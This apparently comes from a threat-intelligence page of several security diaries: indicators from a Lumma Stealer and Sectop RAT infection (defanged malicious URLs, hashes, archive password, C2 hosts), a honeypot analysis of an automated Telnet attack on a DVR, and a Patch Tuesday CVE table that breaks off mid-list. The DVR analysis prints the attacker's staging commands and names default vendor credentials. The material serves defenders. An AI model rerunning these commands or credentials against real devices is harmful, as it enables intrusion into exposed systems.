Introduction

This diary provides indicators from a Lumma Stealer infection that was followed by Sectop RAT (ArechClient2). I searched for cracked versions of popular copyright-protected software, and I downloaded the initial malware after following the results of one such search. This is a common distribution technique for various families of malware, and I often find Lumma Stealer this way.

In this case, the initial malware for Lumma Stealer was delivered as a password-protected 7-zip archive. The extracted malware is an inflated Windows executable (EXE) file at 806 MB. The EXE is padded with null-bytes (0x00), a technical which increases the EXE size while allowing the compressed archive file to be much smaller. The password-protected archive and inflated EXE file are designed to avoid detection.

Images from the infection

Shown above: Example of a page with instructions to download the initial malware file.

Shown above: Traffic from the infection filtered in Wireshark.

Shown above: Sectop RAT persistent on an infected Windows host.

Indicators of Compromise

Example of download link from the site advertising cracked versions of copyright-protected software:

hxxps[:]//incolorand[.]com/how-visual-patch-enhances-ui-consistency-across-releases/?utm_source={CID}&utm_term=Adobe%20Premiere%20Pro%20(2026)%20Full%20v26.0.2%20Espa%C3%B1ol%20[Mega]&utm_content={SUBID1}&utm_medium={SUBID2}

Example of URL for page with the file download instructions:

hxxps[:]//mega-nz.goldeneagletransport[.]com/Adobe_Premiere_Pro_%282026%29_Full_v26.0.2_Espa%C3%B1ol_%5BMega%5D.zip?c=ABUZ4WkRgQUA_YUCAFVTFwASAAAAAACh&s=360721

Example of URL for file download from site above site impersonating MEGA:

hxxps[:]//arch.primedatahost3[.]cfd/auth/media/JvWcFd5vUoYTrImvtWQAASTh/Adobe_Premiere_Pro_(2026)_Full_v26.0.2_Espa%C3%B1ol_%5BMega%5D.zip

Downloaded file:

• SHA256 hash: c7489e3bf546c5f2d958ac833cc7dbca4368dfba03a792849bc99c48a6b2a14f
• File size: 3,888,051 bytes
• File name: adobe_premiere_pro_(2026)_full_v26.0.2_espan?ol_[mega].7z
• File type: 7-zip archive data, version 0.4
• File description: Password-protected 7-zip archive
• Password: 6919

Extracted malware:

• SHA256 hash: 4849f76dafbef516df91fecfc23a72afffaf77ade51f805eae5ad552bed88923
• File size: 806,127,604 bytes
• File name: appFile.exe
• File type: PE32 executable (GUI) Intel 80386, for MS Windows
• File description: Inflated Windows EXE file for Lumma Stealer, padded with null-bytes

Deflated malware:

• SHA256 hash: 353ddce78d58aef2083ca0ac271af93659cf0039b0b29d0d169fc015bd3610bc
• File size: 7,114,156 bytes
• File type: PE32 executable (GUI) Intel 80386, for MS Windows
• File description: Above appFile.exe with most of null-byte padding removed
• Any.Run sandbox analysis 
• Triage sandbox analysis

Lumma Stealer command and control (C2) domains from Triage sandbox analysis:

• cankgmr[.]cyou
• carytui[.]vu
• decrnoj[.]club
• genugsq[.]best
• longmbx[.]click
• mushxhb[.]best
• pomflgf[.]vu
• strikql[.]shop
• ulmudhw[.]shop

Follow-up malware:

• SHA256 hash: d9b576eb6827f38e33eda037d2cda4261307511303254a8509eeb28048433b2f
• File size: 16,450,560 bytes
• File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
• Retrieved from: hxxps[:]//enotsosun[.]pw/NetGui.dll
• Saved to: C:\Users\[username]\AppData\Local\Temp\16XBPQ29ZBG94TYNOA.dll
• File description: 64-bit DLL to install and run Sectop RAT (ArechClient2)
• Run method: rundll32 [file path],LoadForm
• Any.Run sandbox analysis
• Triage sandbox analysis

Example of Sectop RAT C2 traffic from an infected Windows host:

• hxxp[:]//91.92.241[.]102:9000/wmglb
• hxxp[:]//91.92.241[.]102:9000/wbinjget?q=66B553A8B94CE37C16F4EBC863D51FCC
• tcp[:]//91.92.241[.]102:443/ - encoded or otherwise encrypted traffic (not HTTPS/TLS)

---
Bradley Duncan
brad [at] malware-traffic-analysis.net

[This is a Guest Diary by Alec Jaffe, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].

Security cameras are great at monitoring physical doors, but terrible at locking their own digital ones. Across the internet, thousands of unpatched DVRs sit publicly exposed, many guarded only by the default vendor passwords they shipped with. For threat actors, these are low-hanging fruit. This write-up details a recent two-second Telnet capture, providing a mechanical breakdown of how quickly an exposed camera system goes from online to fully compromised by bad actors.

An attack from IP address %%ip:46.6.14.135%% was detected for 1.934 seconds, successfully connecting and authenticating to TCP %%port:23%% (Telnet) for the aforementioned time period. This initial access vector (utilizing username root and password root) maps to MITRE ATT&CK techniques T1110.001 (Password Guessing) [2] and T1078 (Valid Accounts) [3]. The execution of ten sequential commands within a ~2-second session is inconsistent with manual interaction, meaning the attack is most likely automated.

Figure 1: Summary of attack from output of cowrieprocessor [4].

 

Further investigation of the IP address using Shodan [5] reveals that the offending device is an Airspace Digital Video Recorder, (DVR) exposing an 8-channel CCTV system in Spain. Note that the OEM of Airspace is Dahua, a Chinese manufacturer of surveillance cameras and related equipment.

 

Figure 2: General information & exposed services of offending device, retrieved from Shodan [5], as of 2026-04-01.

 

Figure 3: More exposed services of the offending DVR device, retrieved from Shodan [5], as of 2026-04-01.

 

Note that the cameras are exposed through the web service. It’s highly likely that an unsophisticated threat actor could gain direct access to the camera video feeds relatively easily through this by leveraging common Dahua default credentials (e.g. admin/admin or 666666/666666), which are explicitly documented in the vendor's own user manuals for legacy systems [6][7]. Additionally, note that the device’s firmware hasn’t been updated since at latest August of 2014, indicated by the Last-Modified value.

Figure 4: AbuseIPDB results [8], as of 2026-04-01.

 

Figure 5: First attack reported on AbuseIPDB [8], indicating the device has been compromised since 2025-11-28.

 

Noticing similar attacks in my honeypot logs, I prototyped a PowerShell script (assisted by Gemini Pro) to estimate the global footprint of these compromised DVRs. For reference, the script is available on my Github [9]. It pulls IPs from Shodan matching the offending device's RTSP server hash [10], then cross-references them against AbuseIPDB to check for malicious activity reported within the last 90 days, utilizing the APIs of both services.

Figure 6: sample of PowerShell script [9] output.

 

Due to AbuseIPDB’s free-tier API limits, I could only scan the first 1,000 of the 5,313 matching IPs identified on Shodan. Within that limited sample, 38 IPs (3.8%) were actively reported for abuse.

Extrapolating this 3.8% infection rate across all 5,313 exposed devices yields roughly 202 compromised DVRs globally. Because this script only flags devices caught and reported in the last 90 days, this 202 figure should be treated as a highly conservative baseline. The actual number of compromised devices, including dormant ones, is likely much higher.

Once authenticated, the attacker executed a reconnaissance and environmental staging script. Below is a line-by-line breakdown of the payload execution:

 

# enable 
# system 
# shell 
# sh

The script sequentially attempts to escape restricted, vendor-specific CLI menus to access a standard Unix shell, mapping to MITRE ATT&CK technique T1059.004 (Unix Shell) [11].

 

# cat /proc/mounts; /bin/busybox RRVHZ

The script reads /proc/mounts to identify writable file systems, mapping to MITRE ATT&CK technique T1082 (System Information Discovery) [12]. Execution capabilities are subsequently verified by calling a non-existent BusyBox applet (RRVHZ) and monitoring for the resulting error.

 

# cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RRVHZ

The script navigates to /dev/shm (a memory-backed filesystem used to evade disk forensics) and copies /bin/echo to a hidden file (.s). This dotfile creation maps to MITRE ATT&CK technique T1564.001 (Hidden Files and Directories) [13]. The file is immediately executed to confirm the directory lacks execution restriction, acting as an environmental staging check that maps to MITRE ATT&CK technique T1082 (System Information Discovery) [12].

 

# tftp; wget; /bin/busybox RRVHZ

The script checks for the presence of network utilities (tftp and wget) to determine the available mechanisms for downloading the primary malware payload, corresponding to MITRE ATT&CK technique T1105 (Ingress Tool Transfer) [14].

 

# dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

The script tests three redundant file-reading mechanisms against the hidden .s test file, mapping to MITRE ATT&CK technique T1564.001 (Hidden Files and Directories) [13]. Specifically, dd bs=52 count=1 attempts to read the first 52 bytes, which corresponds to the standard size of a 32-bit ELF file header. This acts as an environmental staging check, corresponding to MITRE ATT&CK technique T1082 (System Information Discovery) [12], verifying the system's ability to read and process dropped malware binaries.

 

# /bin/busybox RRVHZ # rm .s; exit

Mapping to MITRE T1070.004 (File Deletion) [15], the script removes the temporary .s file to avoid leaving forensic artifacts before terminating the staging session.

 

To protect against this specific attack vector, defenders should implement the following baseline configurations:

• Restrict Telnet access via a local firewall or VPN to a strictly allowed IP list, preventing exposure to the public internet
• Enforce strong password policies and change default credentials for all service accounts
• Disallow remote root login over Telnet

The set-and-forget lifecycle of physical security devices is actively fueling digital insecurity. When a DVR is left exposed and unmanaged, it ceases to be just a camera system and morphs into a free server for malicious actors. The ~2-second compromise documented here is a stark reminder: if you aren't managing your edge devices, someone else already is.

Methodology & Tooling Note: The initial triage and data collection for this report were conducted using cowrieprocessor, Shodan, and AbuseIPDB. Gemini Pro [16] was utilized as a supplemental tool to assist with the mechanical breakdown of the staging script and rapid prototyping of the PowerShell script. All AI-assisted analytical conclusions were reviewed and verified by the author to ensure technical accuracy and contextual relevance.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://attack.mitre.org/techniques/T1110/001/
[3] https://attack.mitre.org/techniques/T1078/
[4] https://github.com/jslagrew/cowrieprocessor
[5] https://www.shodan.io/host/46.6.14.135
[6] https://dahuawiki.com/images/Files/QSG/NVR_Series_Quick_Start_Guide_V4.0.0.pdf
[7] https://www.a2t.ro/source/CW-HCVR5108H-V2-Manual.pdf
[8] https://www.abuseipdb.com/check/46.6.14.135
[9] https://github.com/alecjaffe/shodan_abuseipdb_xref
[10] https://www.shodan.io/search?query=hash%3A1321444670
[11] https://attack.mitre.org/techniques/T1059/004/
[12] https://attack.mitre.org/techniques/T1082/
[13] https://attack.mitre.org/techniques/T1564/001/
[14] https://attack.mitre.org/techniques/T1105/
[15] https://attack.mitre.org/techniques/T1070/004/
[16] https://gemini.google.com

--
Jesse La Grew
Senior Handler

This month's Microsoft Patch Tuesday looks like a record one, but let's look at it a bit closer to understand what is happening

The update patches a total of 243 vulnerabilities. However, 78 of them are Chromium issues affecting Microsoft Edge. Patches for Edge were released earlier. This leaves 165 vulnerabilities that are not Edge-related. Of these, 8 are rated critical, and 154 are important. One vulnerability has already been exploited, and another was made public before today but has not yet been seen in the wild.

Noteworthy Vulnerabilities:

CVE-2026-33827 (Windows TCP/IP Remote Code Execution Vulnerability): As a packet nerd, I love these types of vulnerabilities. Need to know more to really figure out the impact. Microsoft describes this as a race condition, allowing attackers to execute arbitrary code over the network. Exploitation is likely tricky, but never underestimate the creativity of an AI aided attacker.

CVE-2026-33825 (Microsoft Defender Elevation of Privilege Vulnerability): This vulnerability has already been disclosed. 

CVE-2026-32201 (Microsoft SharePoint Server Spoofing Vulnerability): Two similar SharePoint server spoofing vulnerabilities were patched this month. Both are rated important, and this particular one is already being exploited. 

CVE-2026-33826 (Windows Active Directory Remote Code Execution Vulnerability): CVSS score of "only" 8.0, but critical according to Microsoft. 

CVE-2026-32190 (Microsoft Office Remote Code Execution Vulnerability): Standard fair for every monthly patch Tuesday. These are often the more worrisome vulnerabilities. Two additional critical RCE vulnerabilities affect Word (CVE-2026-33114, CVE-2026-33115). 

CVE-2026-32157 (Remote Desktop Client Remote Code Execution Vulnerability): Typically, these vulnerabilities require a user to connect to a malicious RDP server, but connections may be initiated by clicking on an "rdp:" link.

CVE-2026-33824 (Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability): IKE, part of IPSEC, is usually not enabled by default. It isn't clear yet what the exact exploitation requirements are (will update once MSFT's page responds again)

CVE-2026-23666 (.NET Framework Denial of Service Vulnerability): Just a denial of service. Not sure why this deserved "critical".

 

 

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Denial of Service Vulnerability
%%cve:2026-26171%%	No	No	-	-	Important	7.5	6.5
.NET Framework Denial of Service Vulnerability
%%cve:2026-32226%%	No	No	-	-	Important	5.9	5.2
%%cve:2026-23666%%	No	No	-	-	Critical	7.5	6.7
.NET Spoofing Vulnerability
%%cve:2026-32178%%	No	No	-	-	Important	7.5	6.5
.NET and Visual Studio Denial of Service Vulnerability
%%cve:2026-32203%%	No	No	-	-	Important	7.5	6.5
.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability
%%cve:2026-33116%%	No	No	-	-	Important	7.5	6.5
Active Directory Spoofing Vulnerability
%%cve:2026-32072%%	No	No	-	-	Important	6.2	5.4
Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability
%%cve:2026-25184%%	No	No	-	-	Important	7.0	6.1
Azure Logic Apps Elevation of Privilege Vulnerability
%%cve:2026-32171%%	No	No	-	-	Important	8.8	7.7
Azure Monitor Agent Elevation of Privilege Vulnerability
%%cve:2026-32168%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32192%%	No	No	-	-	Important	7.8	6.8
Chromium: CVE-2026-5272 Heap buffer overflow in GPU
%%cve:2026-5272%%	No	No	-	-	-
Chromium: CVE-2026-5273 Use after free in CSS
%%cve:2026-5273%%	No	No	-	-	-
Chromium: CVE-2026-5274 Integer overflow in Codecs
%%cve:2026-5274%%	No	No	-	-	-
Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE
%%cve:2026-5275%%	No	No	-	-	-
Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB
%%cve:2026-5276%%	No	No	-	-	-
Chromium: CVE-2026-5277 Integer overflow in ANGLE
%%cve:2026-5277%%	No	No	-	-	-
Chromium: CVE-2026-5279 Object corruption in V8
%%cve:2026-5279%%	No	No	-	-	-
Chromium: CVE-2026-5280 Use after free in WebCodecs
%%cve:2026-5280%%	No	No	-	-	-
Chromium: CVE-2026-5281 Use after free in Dawn
%%cve:2026-5281%%	No	No	-	-	-
Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE
%%cve:2026-5283%%	No	No	-	-	-
Chromium: CVE-2026-5284 Use after free in Dawn
%%cve:2026-5284%%	No	No	-	-	-
Chromium: CVE-2026-5285 Use after free in WebGL
%%cve:2026-5285%%	No	No	-	-	-
Chromium: CVE-2026-5286 Use after free in Dawn
%%cve:2026-5286%%	No	No	-	-	-
Chromium: CVE-2026-5287 Use after free in PDF
%%cve:2026-5287%%	No	No	-	-	-
Chromium: CVE-2026-5289 Use after free in Navigation
%%cve:2026-5289%%	No	No	-	-	-
Chromium: CVE-2026-5290 Use after free in Compositing
%%cve:2026-5290%%	No	No	-	-	-
Chromium: CVE-2026-5291 Inappropriate implementation in WebGL
%%cve:2026-5291%%	No	No	-	-	-
Chromium: CVE-2026-5292 Out of bounds read in WebCodecs
%%cve:2026-5292%%	No	No	-	-	-
Chromium: CVE-2026-5858 Heap buffer overflow in WebML
%%cve:2026-5858%%	No	No	-	-	-
Chromium: CVE-2026-5859 Integer overflow in WebML
%%cve:2026-5859%%	No	No	-	-	-
Chromium: CVE-2026-5860 Use after free in WebRTC
%%cve:2026-5860%%	No	No	-	-	-
Chromium: CVE-2026-5861 Use after free in V8
%%cve:2026-5861%%	No	No	-	-	-
Chromium: CVE-2026-5862 Inappropriate implementation in V8
%%cve:2026-5862%%	No	No	-	-	-
Chromium: CVE-2026-5863 Inappropriate implementation in V8
%%cve:2026-5863%%	No	No	-	-	-
Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio
%%cve:2026-5864%%	No	No	-	-	-
Chromium: CVE-2026-5865 Type Confusion in V8
%%cve:2026-5865%%	No	No	-	-	-
Chromium: CVE-2026-5866 Use after free in Media
%%cve:2026-5866%%	No	No	-	-	-
Chromium: CVE-2026-5867 Heap buffer overflow in WebML
%%cve:2026-5867%%	No	No	-	-	-
Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE
%%cve:2026-5868%%	No	No	-	-	-
Chromium: CVE-2026-5869 Heap buffer overflow in WebML
%%cve:2026-5869%%	No	No	-	-	-
Chromium: CVE-2026-5870 Integer overflow in Skia
%%cve:2026-5870%%	No	No	-	-	-
Chromium: CVE-2026-5871 Type Confusion in V8
%%cve:2026-5871%%	No	No	-	-	-
Chromium: CVE-2026-5872 Use after free in Blink
%%cve:2026-5872%%	No	No	-	-	-
Chromium: CVE-2026-5873 Out of bounds read and write in V8
%%cve:2026-5873%%	No	No	-	-	-
Chromium: CVE-2026-5874 Use after free in PrivateAI
%%cve:2026-5874%%	No	No	-	-	-
Chromium: CVE-2026-5875 Policy bypass in Blink
%%cve:2026-5875%%	No	No	-	-	-
Chromium: CVE-2026-5876 Side-channel information leakage in Navigation
%%cve:2026-5876%%	No	No	-	-	-
Chromium: CVE-2026-5877 Use after free in Navigation
%%cve:2026-5877%%	No	No	-	-	-
Chromium: CVE-2026-5878 Incorrect security UI in Blink
%%cve:2026-5878%%	No	No	-	-	-
Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE
%%cve:2026-5879%%	No	No	-	-	-
Chromium: CVE-2026-5880 Incorrect security UI in browser UI
%%cve:2026-5880%%	No	No	-	-	-
Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess
%%cve:2026-5881%%	No	No	-	-	-
Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen
%%cve:2026-5882%%	No	No	-	-	-
Chromium: CVE-2026-5883 Use after free in Media
%%cve:2026-5883%%	No	No	-	-	-
Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media
%%cve:2026-5884%%	No	No	-	-	-
Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML
%%cve:2026-5885%%	No	No	-	-	-
Chromium: CVE-2026-5886 Out of bounds read in WebAudio
%%cve:2026-5886%%	No	No	-	-	-
Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads
%%cve:2026-5887%%	No	No	-	-	-
Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs
%%cve:2026-5888%%	No	No	-	-	-
Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium
%%cve:2026-5889%%	No	No	-	-	-
Chromium: CVE-2026-5890 Race in WebCodecs
%%cve:2026-5890%%	No	No	-	-	-
Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI
%%cve:2026-5891%%	No	No	-	-	-
Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs
%%cve:2026-5892%%	No	No	-	-	-
Chromium: CVE-2026-5893 Race in V8
%%cve:2026-5893%%	No	No	-	-	-
Chromium: CVE-2026-5894 Inappropriate implementation in PDF
%%cve:2026-5894%%	No	No	-	-	-
Chromium: CVE-2026-5895 Incorrect security UI in Omnibox
%%cve:2026-5895%%	No	No	-	-	-
Chromium: CVE-2026-5896 Policy bypass in Audio
%%cve:2026-5896%%	No	No	-	-	-
Chromium: CVE-2026-5897 Incorrect security UI in Downloads
%%cve:2026-5897%%	No	No	-	-	-
Chromium: CVE-2026-5898 Incorrect security UI in Omnibox
%%cve:2026-5898%%	No	No	-	-	-
Chromium: CVE-2026-5899 Incorrect security UI in History Navigation
%%cve:2026-5899%%	No	No	-	-	-
Chromium: CVE-2026-5900 Policy bypass in Downloads
%%cve:2026-5900%%	No	No	-	-	-
Chromium: CVE-2026-5901 Policy bypass in DevTools
%%cve:2026-5901%%	No	No	-	-	-
Chromium: CVE-2026-5902 Race in Media
%%cve:2026-5902%%	No	No	-	-	-
Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox
%%cve:2026-5903%%	No	No	-	-	-
Chromium: CVE-2026-5904 Use after free in V8
%%cve:2026-5904%%	No	No	-	-	-
Chromium: CVE-2026-5905 Incorrect security UI in Permissions
%%cve:2026-5905%%	No	No	-	-	-
Chromium: CVE-2026-5906 Incorrect security UI in Omnibox
%%cve:2026-5906%%	No	No	-	-	-
Chromium: CVE-2026-5907 Insufficient data validation in Media
%%cve:2026-5907%%	No	No	-	-	-
Chromium: CVE-2026-5908 Integer overflow in Media
%%cve:2026-5908%%	No	No	-	-	-
Chromium: CVE-2026-5909 Integer overflow in Media
%%cve:2026-5909%%	No	No	-	-	-
Chromium: CVE-2026-5910 Integer overflow in Media
%%cve:2026-5910%%	No	No	-	-	-
Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers
%%cve:2026-5911%%	No	No	-	-	-
Chromium: CVE-2026-5912 Integer overflow in WebRTC
%%cve:2026-5912%%	No	No	-	-	-
Chromium: CVE-2026-5913 Out of bounds read in Blink
%%cve:2026-5913%%	No	No	-	-	-
Chromium: CVE-2026-5914 Type Confusion in CSS
%%cve:2026-5914%%	No	No	-	-	-
Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML
%%cve:2026-5915%%	No	No	-	-	-
Chromium: CVE-2026-5918 Inappropriate implementation in Navigation
%%cve:2026-5918%%	No	No	-	-	-
Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets
%%cve:2026-5919%%	No	No	-	-	-
Connected User Experiences and Telemetry Service Denial of Service Vulnerability
%%cve:2026-32181%%	No	No	-	-	Important	5.5	4.8
Desktop Window Manager Elevation of Privilege Vulnerability
%%cve:2026-27924%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32152%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32154%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-27923%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32155%%	No	No	-	-	Important	7.8	6.8
GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability
%%cve:2026-23653%%	No	No	-	-	Important	5.7	5.0
HTTP.sys Denial of Service Vulnerability
%%cve:2026-33096%%	No	No	-	-	Important	7.5	6.5
Microsoft Brokering File System Elevation of Privilege Vulnerability
%%cve:2026-26181%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32219%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-32091%%	No	No	-	-	Important	8.4	7.3
Microsoft Cryptographic Services Elevation of Privilege Vulnerability
%%cve:2026-26152%%	No	No	-	-	Important	7.0	6.1
Microsoft Defender Elevation of Privilege Vulnerability
%%cve:2026-33825%%	Yes	No	-	-	Important	7.8	7.0
Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability
%%cve:2026-33103%%	No	No	-	-	Important	5.5	4.8
Microsoft Edge (Chromium-based) Spoofing Vulnerability
%%cve:2026-33118%%	No	No	-	-	Low	4.3	3.8
Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability
%%cve:2026-33119%%	No	No	-	-	Moderate	5.4	4.7
Microsoft Excel Information Disclosure Vulnerability
%%cve:2026-32188%%	No	No	-	-	Important	7.1	6.2
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2026-32189%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32197%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32198%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32199%%	No	No	-	-	Important	7.8	6.8
Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability
%%cve:2026-32184%%	No	No	-	-	Important	7.8	6.8
Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability
%%cve:2026-26155%%	No	No	-	-	Important	6.5	5.7
Microsoft Management Console Elevation of Privilege Vulnerability
%%cve:2026-27914%%	No	No	-	-	Important	7.8	6.8
Microsoft Office Remote Code Execution Vulnerability
%%cve:2026-32190%%	No	No	-	-	Critical	8.4	7.3
Microsoft Power Apps Security Feature Bypass
%%cve:2026-26149%%	No	No	-	-	Important	9.0	7.9
Microsoft PowerPoint Remote Code Execution Vulnerability
%%cve:2026-32200%%	No	No	-	-	Important	7.8	6.8
Microsoft PowerShell Security Feature Bypass Vulnerability
%%cve:2026-26143%%	No	No	-	-	Important	7.8	6.8
Microsoft SQL Server Remote Code Execution Vulnerability
%%cve:2026-33120%%	No	No	-	-	Important	8.8	7.7
Microsoft SharePoint Server Spoofing Vulnerability
%%cve:2026-20945%%	No	No	-	-	Important	4.6	4.0
%%cve:2026-32201%%	No	Yes	-	-	Important	6.5	6.0
Microsoft Word Information Disclosure Vulnerability
%%cve:2026-33822%%	No	No	-	-	Important	6.1	5.3
Microsoft Word Remote Code Execution Vulnerability
%%cve:2026-33095%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-23657%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-33114%%	No	No	-	-	Critical	8.4	7.3
%%cve:2026-33115%%	No	No	-	-	Critical	8.4	7.3
Package Catalog Information Disclosure Vulnerability
%%cve:2026-32081%%	No	No	-	-	Important	5.5	4.8
PowerShell Elevation of Privilege Vulnerability
%%cve:2026-26170%%	No	No	-	-	Important	7.8	6.8
Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability
%%cve:2026-26183%%	No	No	-	-	Important	7.8	6.8
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2026-32157%%	No	No	-	-	Critical	8.8	7.7
Remote Desktop Licensing Service Elevation of Privilege Vulnerability
%%cve:2026-26160%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-26159%%	No	No	-	-	Important	7.8	6.8
Remote Desktop Spoofing Vulnerability
%%cve:2026-26151%%	No	No	-	-	Important	7.1	6.2
Remote Procedure Call Information Disclosure Vulnerability
%%cve:2026-32085%%	No	No	-	-	Important	5.5	4.8
SQL Server Elevation of Privilege Vulnerability
%%cve:2026-32167%%	No	No	-	-	Important	6.7	5.8
%%cve:2026-32176%%	No	No	-	-	Important	6.7	5.8
UEFI Secure Boot Security Feature Bypass Vulnerability
%%cve:2026-0390%%	No	No	-	-	Important	6.7	5.8
%%cve:2026-32220%%	No	No	-	-	Important	4.4	3.9
Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability
%%cve:2026-32212%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-32214%%	No	No	-	-	Important	5.5	4.8
Web Account Manager Information Disclosure Vulnerability
%%cve:2026-32079%%	No	No	-	-	Important	5.5	4.8
Win32k Elevation of Privilege Vulnerability
%%cve:2026-33104%%	No	No	-	-	Important	7.0	6.1
Windows Active Directory Remote Code Execution Vulnerability
%%cve:2026-33826%%	No	No	-	-	Critical	8.0	7.0
Windows Admin Center Spoofing Vulnerability
%%cve:2026-32196%%	No	No	-	-	Important	6.1	5.3
Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability
%%cve:2026-26178%%	No	No	-	-	Important	8.8	7.7
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2026-32073%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-26168%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-26173%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-26177%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-26182%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-27922%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-33099%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-33100%%	No	No	-	-	Important	7.0	6.1
Windows Biometric Service Security Feature Bypass Vulnerability
%%cve:2026-32088%%	No	No	-	-	Important	6.1	5.3
Windows BitLocker Security Feature Bypass Vulnerability
%%cve:2026-27913%%	No	No	-	-	Important	7.7	6.7
Windows Boot Manager Security Feature Bypass Vulnerability
%%cve:2026-26175%%	No	No	-	-	Important	4.6	4.0
Windows COM Elevation of Privilege Vulnerability
%%cve:2026-32162%%	No	No	-	-	Important	8.4	7.3
Windows COM Server Information Disclosure Vulnerability
%%cve:2026-20806%%	No	No	-	-	Important	5.5	4.8
Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability
%%cve:2026-26176%%	No	No	-	-	Important	7.8	6.8
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2026-27926%%	No	No	-	-	Important	7.0	6.1
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2026-32070%%	No	No	-	-	Important	7.0	6.1
Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability
%%cve:2026-33098%%	No	No	-	-	Important	7.8	6.8
Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability
%%cve:2026-26153%%	No	No	-	-	Important	7.8	6.8
Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability
%%cve:2026-32087%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-32093%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-32086%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-32150%%	No	No	-	-	Important	7.0	6.1
Windows GDI Information Disclosure Vulnerability
%%cve:2026-27931%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-27930%%	No	No	-	-	Important	5.5	4.8
Windows Graphics Component Remote Code Execution Vulnerability
%%cve:2026-32221%%	No	No	-	-	Important	8.4	7.3
Windows Hello Security Feature Bypass Vulnerability
%%cve:2026-27906%%	No	No	-	-	Important	4.4	3.9
%%cve:2026-27928%%	No	No	-	-	Important	8.7	7.6
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2026-26156%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32149%%	No	No	-	-	Important	7.3	6.4
Windows Installer Elevation of Privilege Vulnerability
%%cve:2026-27910%%	No	No	-	-	Important	7.8	6.8
Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
%%cve:2026-33824%%	No	No	-	-	Critical	9.8	8.5
Windows Kerberos Elevation of Privilege Vulnerability
%%cve:2026-27912%%	No	No	-	-	Important	8.0	7.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2026-26179%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-26180%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32195%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-26163%%	No	No	-	-	Important	7.8	6.8
Windows Kernel Information Disclosure Vulnerability
%%cve:2026-32215%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-32217%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-32218%%	No	No	-	-	Important	5.5	4.8
Windows Kernel Memory Information Disclosure Vulnerability
%%cve:2026-26169%%	No	No	-	-	Important	6.1	5.3
Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability
%%cve:2026-27929%%	No	No	-	-	Important	7.0	6.1
Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability
